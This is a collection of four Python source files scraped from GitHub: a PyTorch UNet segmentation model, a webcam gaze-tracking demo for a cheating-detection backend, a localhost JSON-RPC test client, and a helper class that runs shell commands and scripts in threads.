+{"seq_id":"21632930164","text":"import torch\nimport torch.nn as nn\nimport torchvision.transforms.functional as TF\nimport torchvision.models as models\n\n\nclass DoubleConv(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(DoubleConv, self).__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=3, stride=1, padding=1, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(in_channels=out_channels, out_channels=out_channels, kernel_size=3, stride=1, padding=1, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, x):\n return self.conv(x)\n\n\nclass ConvReLu(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, padding=1):\n super(ConvReLu, self).__init__()\n self.conv = nn.Conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=kernel_size,\n stride=stride, padding=padding)\n self.relu = nn.ReLU()\n\n def forward(self, x):\n return self.relu(self.conv(x))\n\n\nclass UNET(nn.Module):\n def __init__(self, in_channels=3, out_channels=1, features=[64, 128, 256, 512]):\n super(UNET, self).__init__()\n self.ups = nn.ModuleList()\n self.downs = nn.ModuleList()\n self.pool = nn.MaxPool2d(kernel_size=2, stride=2)\n\n # Down part of UNET\n for feature in features:\n self.downs.append(DoubleConv(in_channels=in_channels, out_channels=feature))\n in_channels = feature\n\n # Up part of UNET\n for feature in reversed(features):\n self.ups.append(nn.ConvTranspose2d(in_channels=feature*2, out_channels=feature, kernel_size=2, stride=2))\n self.ups.append(DoubleConv(feature*2, feature))\n\n # the bottom part of the UNET\n self.bottleneck = DoubleConv(features[-1], features[-1]*2)\n self.final_conv = nn.Conv2d(features[0], out_channels=out_channels, kernel_size=1)\n\n def forward(self, x):\n skip_connections = []\n for idx, down in enumerate(self.downs):\n x = down(x)\n skip_connections.append(x)\n x = self.pool(x)\n\n x = self.bottleneck(x)\n skip_connections = skip_connections[::-1]\n\n # There must be a better way to do this with zip\n # for skip_connection, up in zip(skip_connections, self.ups):\n # x = up(x)\n # concat_skip = torch.cat((skip_connection, x), 1)\n\n for idx in range(0, len(self.ups), 2):\n x = self.ups[idx](x)\n skip_connection = skip_connections[idx//2]\n\n if x.shape != skip_connection.shape:\n x = TF.resize(x, size=skip_connection.shape[2:])\n\n concat_skip = torch.cat((skip_connection, x), 1)\n x = self.ups[idx+1](concat_skip)\n\n return self.final_conv(x)\n\n\nclass ResUNET(nn.Module):\n def __init__(self, encoder, out_channels=1, freeze_encoder=True):\n super(ResUNET, self).__init__()\n self.encoder = encoder\n\n if freeze_encoder:\n for param in self.encoder.parameters():\n param.requires_grad = not freeze_encoder\n\n # assuming that the encoder is a resnet18\n self.encoder_layers = list(encoder.children())\n self.layer_0 = nn.Sequential(*self.encoder_layers[:3]) # size=(N, 64, x.H/2, x.W/2)\n self.layer_0_1x1 = ConvReLu(64, 64, kernel_size=1, stride=1, padding=0)\n self.layer_1 = nn.Sequential(*self.encoder_layers[3:5]) # size=(N, 64, x.H/4, x.W/4)\n self.layer_1_1x1 = ConvReLu(64, 64, kernel_size=1, stride=1, padding=0)\n self.layer_2 = self.encoder_layers[5] # size=(N, 128, x.H/8, x.W/8)\n self.layer_2_1x1 = ConvReLu(128, 128, kernel_size=1, stride=1, padding=0)\n self.layer_3 = self.encoder_layers[6] # size=(N, 256, x.H/16, x.W/16)\n self.layer_3_1x1 = ConvReLu(256, 256, kernel_size=1, stride=1, padding=0)\n self.layer_4 = self.encoder_layers[7] # size=(N, 512, x.H/32, x.W/32)\n self.layer_4_1x1 = ConvReLu(512, 512, kernel_size=1, stride=1, padding=0)\n\n self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)\n\n self.conv_up3 = ConvReLu(256 + 512, 512, kernel_size=3, padding=1)\n self.conv_up2 = ConvReLu(128 + 512, 256, kernel_size=3, padding=1)\n self.conv_up1 = ConvReLu(64 + 256, 256, kernel_size=3, padding=1)\n self.conv_up0 = ConvReLu(64 + 256, 128, kernel_size=3, padding=1)\n\n self.conv_original_size0 = ConvReLu(3, 64, kernel_size=3, padding=1)\n self.conv_original_size1 = ConvReLu(64, 64, kernel_size=3, padding=1)\n self.conv_original_size2 = ConvReLu(64 + 128, 64, kernel_size=3, padding=1)\n\n self.conv_last = nn.Conv2d(64, out_channels, 1)\n\n def forward(self, x):\n x_original = self.conv_original_size0(x)\n x_original = self.conv_original_size1(x_original)\n\n layer0 = self.layer_0(x)\n layer1 = self.layer_1(layer0)\n layer2 = self.layer_2(layer1)\n layer3 = self.layer_3(layer2)\n layer4 = self.layer_4(layer3)\n\n layer4 = self.layer_4_1x1(layer4)\n x = self.upsample(layer4)\n layer3 = self.layer_3_1x1(layer3)\n x = torch.cat([x, layer3], dim=1)\n x = self.conv_up3(x)\n\n x = self.upsample(x)\n layer2 = self.layer_2_1x1(layer2)\n x = torch.cat([x, layer2], dim=1)\n x = self.conv_up2(x)\n\n x = self.upsample(x)\n layer1 = self.layer_1_1x1(layer1)\n x = torch.cat([x, layer1], dim=1)\n x = self.conv_up1(x)\n\n x = self.upsample(x)\n layer0 = self.layer_0_1x1(layer0)\n x = torch.cat([x, layer0], dim=1)\n x = self.conv_up0(x)\n\n x = self.upsample(x)\n x = torch.cat([x, x_original], dim=1)\n x = self.conv_original_size2(x)\n\n out = self.conv_last(x)\n\n return out\n\n\ndef test():\n x = torch.randn((3, 1, 161, 161))\n model = UNET(in_channels=1, out_channels=1)\n preds = model(x)\n print(preds.shape)\n print(x.shape)\n assert preds.shape == x.shape\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"tudorceltare/contour-proposal-network","sub_path":"UNET/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9847781929","text":"import time\nimport cv2\nimport numpy as np\nfrom os import path\nfrom subprocess import call\nimport pickle\nimport sys\nimport torch\nimport os\nsys.path.append(os.pardir)\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'True'\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom few_shot_gaze.demo.monitor2 import monitor\nfrom few_shot_gaze.demo.camera import cam_calibrate\nfrom few_shot_gaze.demo.person_calibration import collect_data, fine_tune\nfrom few_shot_gaze.demo.frame_processor import frame_processer\n\n#################################\n# Start camera\n#################################\n\ncam_idx = 0\n\n# adjust these for your camera to get the best accuracy\n# call('v4l2-ctl -d /dev/video%d -c brightness=100' % cam_idx, shell=True)\n# call('v4l2-ctl -d /dev/video%d -c contrast=50' % cam_idx, shell=True)\n# call('v4l2-ctl -d /dev/video%d -c sharpness=100' % cam_idx, shell=True)\n\ncam_cap = cv2.VideoCapture(cam_idx)\ncam_cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\ncam_cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n\n# calibrate camera\ncam_calib = {'mtx': np.eye(3), 'dist': np.zeros((1, 5))}\n\n\nif path.exists(\"calib_cam%d.pkl\" % (cam_idx)):\n cam_calib = pickle.load(open(\"calib_cam%d.pkl\" % (cam_idx), \"rb\"))\nelse:\n print(\"Calibrate camera once. Print pattern.png, paste on a clipboard, showqq to camera and capture non-blurry images in which points are detected well.\")\n print(\"Press s to save frame, c to continue, q to quit\")\n cam_calibrate(cam_idx, cam_cap, cam_calib)\n\n\n#################################\n# Load gaze network\n#################################\nted_parameters_path = 'test_gaze_network.pth.tar'\nmaml_parameters_path = 'demo_weights/weights_maml'\nk = 9\n\n# Set device\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# Create network\nsys.path.append(\"few_shot_gaze/src\")\nfrom few_shot_gaze.src.models import DTED\ngaze_network = DTED(\n growth_rate=32,\n z_dim_app=64,\n z_dim_gaze=2,\n z_dim_head=16,\n decoder_input_c=32,\n normalize_3d_codes=True,\n normalize_3d_codes_axis=1,\n backprop_gaze_to_encoder=False,\n).to(device)\n\n#################################\n\n# Load DT-ED weights if available\nassert os.path.isfile(ted_parameters_path)\nprint('> Loading: %s' % ted_parameters_path)\nted_weights = torch.load(ted_parameters_path)\n\nif torch.cuda.device_count() == 1:\n if next(iter(ted_weights.keys())).startswith('module.'):\n ted_weights = dict([(k[7:], v) for k, v in ted_weights.items()])\n\n#####################################\n\n# Load MAML MLP weights if available\n'''\nfull_maml_parameters_path = maml_parameters_path +'/%02d.pth.tar' % k\nassert os.path.isfile(full_maml_parameters_path)\nprint('> Loading: %s' % full_maml_parameters_path)\nmaml_weights = torch.load(full_maml_parameters_path)\nted_weights.update({ # rename to fit\n 'gaze1.weight': maml_weights['layer01.weights'],\n 'gaze1.bias': maml_weights['layer01.bias'],\n 'gaze2.weight': maml_weights['layer02.weights'],\n 'gaze2.bias': maml_weights['layer02.bias'],\n})\n'''\ngaze_network.load_state_dict(ted_weights)\n\n#################################\n# Personalize gaze network\n#################################\n\n# Initialize monitor and frame processor\nmon = monitor()\nframe_processor = frame_processer(cam_calib)\n\ndata = frame_processor.process('gang', cam_cap, mon, device, gaze_network, show=True)\n","repo_name":"okok0415/cheating_detection_backend","sub_path":"gaze_test.py","file_name":"gaze_test.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"3333083483","text":"'''\nCreated on 26. 8. 2018\n\n@author: Tomáš\n'''\n\nfrom .serviceProxy import ServiceProxy, JSONRPCException\n\nif __name__ == '__main__':\n url = \"http://localhost:8100/jsonrpc\"\n service = ServiceProxy(url)\n try:\n print(service.foobar(foo='FOO', bar='BaR'))\n except JSONRPCException as e:\n print(\"JSONRPCException Error:\")\n print(e.error)\n","repo_name":"Tommekster/Benchmark","sub_path":"Benchmark/remoteService/RemoteTest.py","file_name":"RemoteTest.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9845366350","text":"from pathlib import Path\nfrom threading import Thread\nfrom typing import Union\n\nfrom loglib.loglib import loglib\n\n\nclass threadlib:\n\n def __init__(self):\n super().__init__()\n self.execute_cmd_thread: Union[Thread, None] = None\n self.execute_bat_thread: Union[Thread, None] = None\n self.execute_python3_thread: Union[Thread, None] = None\n self.logger = loglib(f'{__name__}_{self}')\n\n def execute_cmd(self,\n cmds: list,\n cwd: str,\n cb_done):\n \"\"\"\n execute command\n \"\"\"\n \"\"\"\n [workaround] cd to cwd and then execute app\n \"\"\"\n from misclib.syslib import syslib\n if syslib.get_platform2() == syslib.OS_WINDOWS:\n cmd_current_path = 'cd'\n else:\n cmd_current_path = 'pwd'\n args = ['cd', '/d', str(Path(cwd).absolute()), '&&', cmd_current_path]\n if cmds and len(cmds) > 0:\n args.append('&&')\n args.extend(cmds)\n self.logger.info(f'args: {args}')\n\n \"\"\"\n run\n \"\"\"\n import subprocess\n ex = subprocess.Popen(args=args, shell=True, cwd=cwd)\n\n \"\"\"\n [symptom]\n ex.communicate is blocked when jlink.exe cannot be found, windows will pop-up msgbox, the thing is,\n it seems like a cmd window to execute 'start jlink.exe', after close msgbox, cmd window will stop\n at the message 'press any key to continue...', that's why communicate is blocked and not returned.\n [workaround]\n 1. add stdin in Popen\n 2. add input in communicate, just similar to input 'q' to cmd window\n \"\"\"\n stdout, stderr = ex.communicate(input='q'.encode())\n status = ex.wait()\n if cb_done:\n cb_done(stdout, stderr, status)\n\n def execute_cmd_async(self,\n cmds: list,\n cwd: str,\n cb_done):\n self.execute_cmd_thread = Thread(target=self.execute_cmd, args=(cmds, cwd, cb_done))\n self.execute_cmd_thread.start()\n\n def is_cmd_thread_running(self):\n if self.execute_cmd_thread:\n return self.execute_cmd_thread.is_alive()\n else:\n return False\n\n def execute_bat(self,\n bat: str,\n cb_done):\n self.execute_cmd(cmds=[Path(bat).name], cwd=str(Path(bat).parent), cb_done=cb_done)\n\n def execute_bat_async(self,\n bat: str,\n cb_done):\n self.execute_bat_thread = Thread(target=self.execute_bat, args=(bat, cb_done))\n self.execute_bat_thread.start()\n\n def is_bat_thread_running(self):\n if self.execute_bat_thread:\n return self.execute_bat_thread.is_alive()\n else:\n return False\n\n def execute_python3(self,\n cmds: list,\n cwd: str,\n cb_done):\n # py -3 for python3\n cmds.insert(0, 'py')\n cmds.insert(1, '-3')\n \"\"\"\n [symptom]\n python3 cmd has some problem when using in multiple python3 installed environment\n [solution] use py -3 as below\n py -3 cmds[]\n \"\"\"\n self.execute_cmd(cmds=cmds, cwd=cwd, cb_done=cb_done)\n\n def execute_python3_async(self,\n cmds: list,\n cwd: str,\n cb_done):\n self.execute_python3_thread = Thread(target=self.execute_python3, args=(cmds, cwd, cb_done))\n self.execute_python3_thread.start()\n\n def is_python3_thread_running(self):\n if self.execute_python3_thread:\n return self.execute_python3_thread.is_alive()\n else:\n return False\n","repo_name":"ppcrong/pymisc2","sub_path":"misclib/threadlib.py","file_name":"threadlib.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}